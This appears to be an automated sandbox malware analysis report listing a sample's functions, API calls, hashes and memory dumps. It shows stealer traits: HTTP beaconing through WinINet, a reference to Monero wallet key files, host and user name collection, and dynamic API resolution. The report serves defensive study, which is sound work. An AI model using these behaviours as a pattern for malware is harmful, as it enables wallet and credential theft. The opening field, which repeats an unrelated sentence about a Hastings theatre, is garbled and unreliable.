String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e688f9d347356f896a888af6464c8b013c09d05ce864637262cf055c9076fdf6
Instruction ID: b5aff87f21487925bcad95a7f5fc97a5739ae03d128849ccd04088b51ea99fb1
Opcode Fuzzy Hash: e688f9d347356f896a888af6464c8b013c09d05ce864637262cf055c9076fdf6
Instruction Fuzzy Hash: F241E261BD660DFAC664FFF4F84EE9D76B67FDAB00F905844E810532D0CAB065004926

Function 00A44880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A44839
Part of subcall function 00A447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A44849

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A44915
StrCmpCA.SHLWAPI(?,0160E9B0), ref: 00A4493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A44ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00A60DDB,00000000,?,?,00000000,?,",00000000,?,0160EA20), ref: 00A44DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A44E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A44E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A44E49
InternetCloseHandle.WININET(00000000), ref: 00A44EAD
InternetCloseHandle.WININET(00000000), ref: 00A44EC5
HttpOpenRequestA.WININET(00000000,0160EB70,?,0160E578,00000000,00000000,00400100,00000000), ref: 00A44B15

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

InternetCloseHandle.WININET(00000000), ref: 00A44ECF

Strings

", xrefs: 00A44D33
------, xrefs: 00A44B28
", xrefs: 00A44BF2
------, xrefs: 00A44C69
------, xrefs: 00A449BD

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 724a4c3c544b882c8ab98115026ff050bc7a2453f40e5583aaf12171c8c20b95
Instruction ID: 776f8bfc92f52d1495e3a43557c2f89761b3207d0b36c4192984cadcf43a8f62
Opcode Fuzzy Hash: 724a4c3c544b882c8ab98115026ff050bc7a2453f40e5583aaf12171c8c20b95
Instruction Fuzzy Hash: 3012FA72A10118AADB15EB90DE92FEEB778BF64301F504299B50662091EF702F4DCF66

Function 00A578E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A57910
RtlAllocateHeap.NTDLL(00000000), ref: 00A57917
GetComputerNameA.KERNEL32(?,00000104), ref: 00A5792F

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: f1cd486acb3c4e8cf3d0c83dc47072a8dcf2059b2a78fbae7a6c8bae1580de1c
Instruction ID: 1d4f021422acc558201640b65ac9af362d5419cdd88c718275919088b17814f4
Opcode Fuzzy Hash: f1cd486acb3c4e8cf3d0c83dc47072a8dcf2059b2a78fbae7a6c8bae1580de1c
Instruction Fuzzy Hash: A80181B1A04208EBD750DF98DD45FAEFBB8FB04B22F10421AFA55E3280C37459048BB1

Function 00A57850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A411B7), ref: 00A57880
RtlAllocateHeap.NTDLL(00000000), ref: 00A57887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A5789F

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 72133e0f2f0b5336384c366ec1094b76867be5dfb40a8c4122fab703959b714f
Instruction ID: 17e3499240732c73b2be8090eddbbb9a47597e87117a2b84dfa8336044ae1860
Opcode Fuzzy Hash: 72133e0f2f0b5336384c366ec1094b76867be5dfb40a8c4122fab703959b714f
Instruction Fuzzy Hash: EAF04FB1944208ABD710DF98DD49BAEBBB8FB04711F10065AFA05A2680C77415448BA1

Function 00A41160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00A4116A
ExitProcess.KERNEL32 ref: 00A4117E

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: f8b9510de722942b4f1aa8f0f1a211eee9dc9e4198838dea20ef75173ffc89a4
Instruction ID: af879bd3a96e66a7e7026c8d42130bcb8feb6b965bd0f1ad1f048376de3c0963
Opcode Fuzzy Hash: f8b9510de722942b4f1aa8f0f1a211eee9dc9e4198838dea20ef75173ffc89a4
Instruction Fuzzy Hash: B8D05E7490030CDBDB00DFE0D8497DDBB78FB0C311F000659D90562340EA305481CBAA

Function 00A59C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,015F67C0), ref: 00A59C2D
GetProcAddress.KERNEL32(75900000,015F6860), ref: 00A59C45
GetProcAddress.KERNEL32(75900000,016096C0), ref: 00A59C5E
GetProcAddress.KERNEL32(75900000,01609600), ref: 00A59C76
GetProcAddress.KERNEL32(75900000,0160D200), ref: 00A59C8E
GetProcAddress.KERNEL32(75900000,0160D1A0), ref: 00A59CA7
GetProcAddress.KERNEL32(75900000,015FBDE8), ref: 00A59CBF
GetProcAddress.KERNEL32(75900000,0160CF48), ref: 00A59CD7
GetProcAddress.KERNEL32(75900000,0160D1B8), ref: 00A59CF0
GetProcAddress.KERNEL32(75900000,0160D188), ref: 00A59D08
GetProcAddress.KERNEL32(75900000,0160D098), ref: 00A59D20
GetProcAddress.KERNEL32(75900000,015F69A0), ref: 00A59D39
GetProcAddress.KERNEL32(75900000,015F66A0), ref: 00A59D51
GetProcAddress.KERNEL32(75900000,015F69C0), ref: 00A59D69
GetProcAddress.KERNEL32(75900000,015F6880), ref: 00A59D82
GetProcAddress.KERNEL32(75900000,0160D1D0), ref: 00A59D9A
GetProcAddress.KERNEL32(75900000,0160CF90), ref: 00A59DB2
GetProcAddress.KERNEL32(75900000,015FBB90), ref: 00A59DCB
GetProcAddress.KERNEL32(75900000,015F66E0), ref: 00A59DE3
GetProcAddress.KERNEL32(75900000,0160D1E8), ref: 00A59DFB
GetProcAddress.KERNEL32(75900000,0160D038), ref: 00A59E14
GetProcAddress.KERNEL32(75900000,0160D140), ref: 00A59E2C
GetProcAddress.KERNEL32(75900000,0160D0B0), ref: 00A59E44
GetProcAddress.KERNEL32(75900000,015F68A0), ref: 00A59E5D
GetProcAddress.KERNEL32(75900000,0160CFC0), ref: 00A59E75
GetProcAddress.KERNEL32(75900000,0160CFA8), ref: 00A59E8D
GetProcAddress.KERNEL32(75900000,0160D0C8), ref: 00A59EA6
GetProcAddress.KERNEL32(75900000,0160D158), ref: 00A59EBE
GetProcAddress.KERNEL32(75900000,0160D0E0), ref: 00A59ED6
GetProcAddress.KERNEL32(75900000,0160D0F8), ref: 00A59EEF
GetProcAddress.KERNEL32(75900000,0160CF18), ref: 00A59F07
GetProcAddress.KERNEL32(75900000,0160CF30), ref: 00A59F1F
GetProcAddress.KERNEL32(75900000,0160D110), ref: 00A59F38
GetProcAddress.KERNEL32(75900000,0160A9F8), ref: 00A59F50
GetProcAddress.KERNEL32(75900000,0160CFD8), ref: 00A59F68
GetProcAddress.KERNEL32(75900000,0160CFF0), ref: 00A59F81
GetProcAddress.KERNEL32(75900000,015F6960), ref: 00A59F99
GetProcAddress.KERNEL32(75900000,0160CF60), ref: 00A59FB1
GetProcAddress.KERNEL32(75900000,015F6980), ref: 00A59FCA
GetProcAddress.KERNEL32(75900000,0160D020), ref: 00A59FE2
GetProcAddress.KERNEL32(75900000,0160D128), ref: 00A59FFA
GetProcAddress.KERNEL32(75900000,015F6460), ref: 00A5A013
GetProcAddress.KERNEL32(75900000,015F6280), ref: 00A5A02B
LoadLibraryA.KERNEL32(0160D170,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A03D
LoadLibraryA.KERNEL32(0160D008,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A04E
LoadLibraryA.KERNEL32(0160CF78,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A060
LoadLibraryA.KERNEL32(0160D050,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A072
LoadLibraryA.KERNEL32(0160D068,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A083
LoadLibraryA.KERNEL32(0160D080,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A095
LoadLibraryA.KERNEL32(0160D2C0,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A0A7
LoadLibraryA.KERNEL32(0160D2A8,?,00A55CA3,00A60AEB,?,?,?,?,?,?,?,?,?,?,00A60AEA,00A60AE3), ref: 00A5A0B8
GetProcAddress.KERNEL32(75FD0000,015F6440), ref: 00A5A0DA
GetProcAddress.KERNEL32(75FD0000,0160D3E0), ref: 00A5A0F2
GetProcAddress.KERNEL32(75FD0000,01608F58), ref: 00A5A10A
GetProcAddress.KERNEL32(75FD0000,0160D230), ref: 00A5A123
GetProcAddress.KERNEL32(75FD0000,015F6380), ref: 00A5A13B
GetProcAddress.KERNEL32(734B0000,015FB6B8), ref: 00A5A160
GetProcAddress.KERNEL32(734B0000,015F64C0), ref: 00A5A179
GetProcAddress.KERNEL32(734B0000,015FBA00), ref: 00A5A191
GetProcAddress.KERNEL32(734B0000,0160D248), ref: 00A5A1A9
GetProcAddress.KERNEL32(734B0000,0160D308), ref: 00A5A1C2
GetProcAddress.KERNEL32(734B0000,015F6320), ref: 00A5A1DA
GetProcAddress.KERNEL32(734B0000,015F62C0), ref: 00A5A1F2
GetProcAddress.KERNEL32(734B0000,0160D2D8), ref: 00A5A20B
GetProcAddress.KERNEL32(763B0000,015F6540), ref: 00A5A22C
GetProcAddress.KERNEL32(763B0000,015F64E0), ref: 00A5A244
GetProcAddress.KERNEL32(763B0000,0160D4B8), ref: 00A5A25D
GetProcAddress.KERNEL32(763B0000,0160D2F0), ref: 00A5A275
GetProcAddress.KERNEL32(763B0000,015F62E0), ref: 00A5A28D
GetProcAddress.KERNEL32(750F0000,015FB9B0), ref: 00A5A2B3
GetProcAddress.KERNEL32(750F0000,015FB708), ref: 00A5A2CB
GetProcAddress.KERNEL32(750F0000,0160D488), ref: 00A5A2E3
GetProcAddress.KERNEL32(750F0000,015F64A0), ref: 00A5A2FC
GetProcAddress.KERNEL32(750F0000,015F65E0), ref: 00A5A314
GetProcAddress.KERNEL32(750F0000,015FB758), ref: 00A5A32C
GetProcAddress.KERNEL32(75A50000,0160D320), ref: 00A5A352
GetProcAddress.KERNEL32(75A50000,015F6340), ref: 00A5A36A
GetProcAddress.KERNEL32(75A50000,01608F28), ref: 00A5A382
GetProcAddress.KERNEL32(75A50000,0160D3F8), ref: 00A5A39B
GetProcAddress.KERNEL32(75A50000,0160D260), ref: 00A5A3B3
GetProcAddress.KERNEL32(75A50000,015F6600), ref: 00A5A3CB
GetProcAddress.KERNEL32(75A50000,015F6640), ref: 00A5A3E4
GetProcAddress.KERNEL32(75A50000,0160D4A0), ref: 00A5A3FC
GetProcAddress.KERNEL32(75A50000,0160D440), ref: 00A5A414
GetProcAddress.KERNEL32(75070000,015F6620), ref: 00A5A436
GetProcAddress.KERNEL32(75070000,0160D338), ref: 00A5A44E
GetProcAddress.KERNEL32(75070000,0160D278), ref: 00A5A466
GetProcAddress.KERNEL32(75070000,0160D4D0), ref: 00A5A47F
GetProcAddress.KERNEL32(75070000,0160D350), ref: 00A5A497
GetProcAddress.KERNEL32(74E50000,015F65C0), ref: 00A5A4B8
GetProcAddress.KERNEL32(74E50000,015F6580), ref: 00A5A4D1
GetProcAddress.KERNEL32(75320000,015F6660), ref: 00A5A4F2
GetProcAddress.KERNEL32(75320000,0160D4E8), ref: 00A5A50A
GetProcAddress.KERNEL32(6F060000,015F6300), ref: 00A5A530
GetProcAddress.KERNEL32(6F060000,015F6360), ref: 00A5A548
GetProcAddress.KERNEL32(6F060000,015F6480), ref: 00A5A560
GetProcAddress.KERNEL32(6F060000,0160D368), ref: 00A5A579
GetProcAddress.KERNEL32(6F060000,015F63A0), ref: 00A5A591
GetProcAddress.KERNEL32(6F060000,015F6500), ref: 00A5A5A9
GetProcAddress.KERNEL32(6F060000,015F62A0), ref: 00A5A5C2
GetProcAddress.KERNEL32(6F060000,015F63C0), ref: 00A5A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00A5A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00A5A607
GetProcAddress.KERNEL32(74E00000,0160D500), ref: 00A5A629
GetProcAddress.KERNEL32(74E00000,01608FA8), ref: 00A5A641
GetProcAddress.KERNEL32(74E00000,0160D218), ref: 00A5A659
GetProcAddress.KERNEL32(74E00000,0160D410), ref: 00A5A672
GetProcAddress.KERNEL32(74DF0000,015F6520), ref: 00A5A693
GetProcAddress.KERNEL32(6E570000,0160D3C8), ref: 00A5A6B4
GetProcAddress.KERNEL32(6E570000,015F6560), ref: 00A5A6CD
GetProcAddress.KERNEL32(6E570000,0160D380), ref: 00A5A6E5
GetProcAddress.KERNEL32(6E570000,0160D290), ref: 00A5A6FD

Strings

HttpQueryInfoA, xrefs: 00A5A5FC
InternetSetOptionA, xrefs: 00A5A5E5

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: bc56ec5eeeaa024028a47dffea6c15eefec9af378a0cca43abb963f8bdbfe2c9
Instruction ID: 8730e8ea406bf6f037033e343c6e737b7bd3ac61dfca26bd78424d663a9f8bf7
Opcode Fuzzy Hash: bc56ec5eeeaa024028a47dffea6c15eefec9af378a0cca43abb963f8bdbfe2c9
Instruction Fuzzy Hash: 7C621BB5610200AFF744DFA8ED88B5E37F9F78C701714851BA609C3274D739A852EB6A

Function 00A46280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A44839
Part of subcall function 00A447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A44849

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

InternetOpenA.WININET(00A60DFE,00000001,00000000,00000000,00000000), ref: 00A462E1
StrCmpCA.SHLWAPI(?,0160E9B0), ref: 00A46303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A46335
HttpOpenRequestA.WININET(00000000,GET,?,0160E578,00000000,00000000,00400100,00000000), ref: 00A46385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A463BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A463D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00A463FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A4646D
InternetCloseHandle.WININET(00000000), ref: 00A464EF
InternetCloseHandle.WININET(00000000), ref: 00A464F9
InternetCloseHandle.WININET(00000000), ref: 00A46503

Strings

ERROR, xrefs: 00A464C9
GET, xrefs: 00A4637C
ERROR, xrefs: 00A46407

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
